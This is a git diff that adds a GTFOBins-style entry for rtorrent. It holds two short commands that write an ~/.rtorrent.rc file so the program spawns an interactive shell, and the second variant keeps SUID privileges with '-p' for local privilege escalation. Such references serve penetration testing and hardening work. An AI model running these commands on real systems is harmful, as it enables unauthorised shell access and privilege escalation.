diff --git a/_gtfobins/rtorrent.md b/_gtfobins/rtorrent.md new file mode 100644 index 0000000..65fb109 --- /dev/null +++ b/_gtfobins/rtorrent.md @@ -0,0 +1,11 @@ +--- +functions: + shell: + - code: | + echo "execute = /bin/sh,-c,\"/bin/sh <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc + rtorrent + suid: + - code: | + echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc + ./rtorrent +---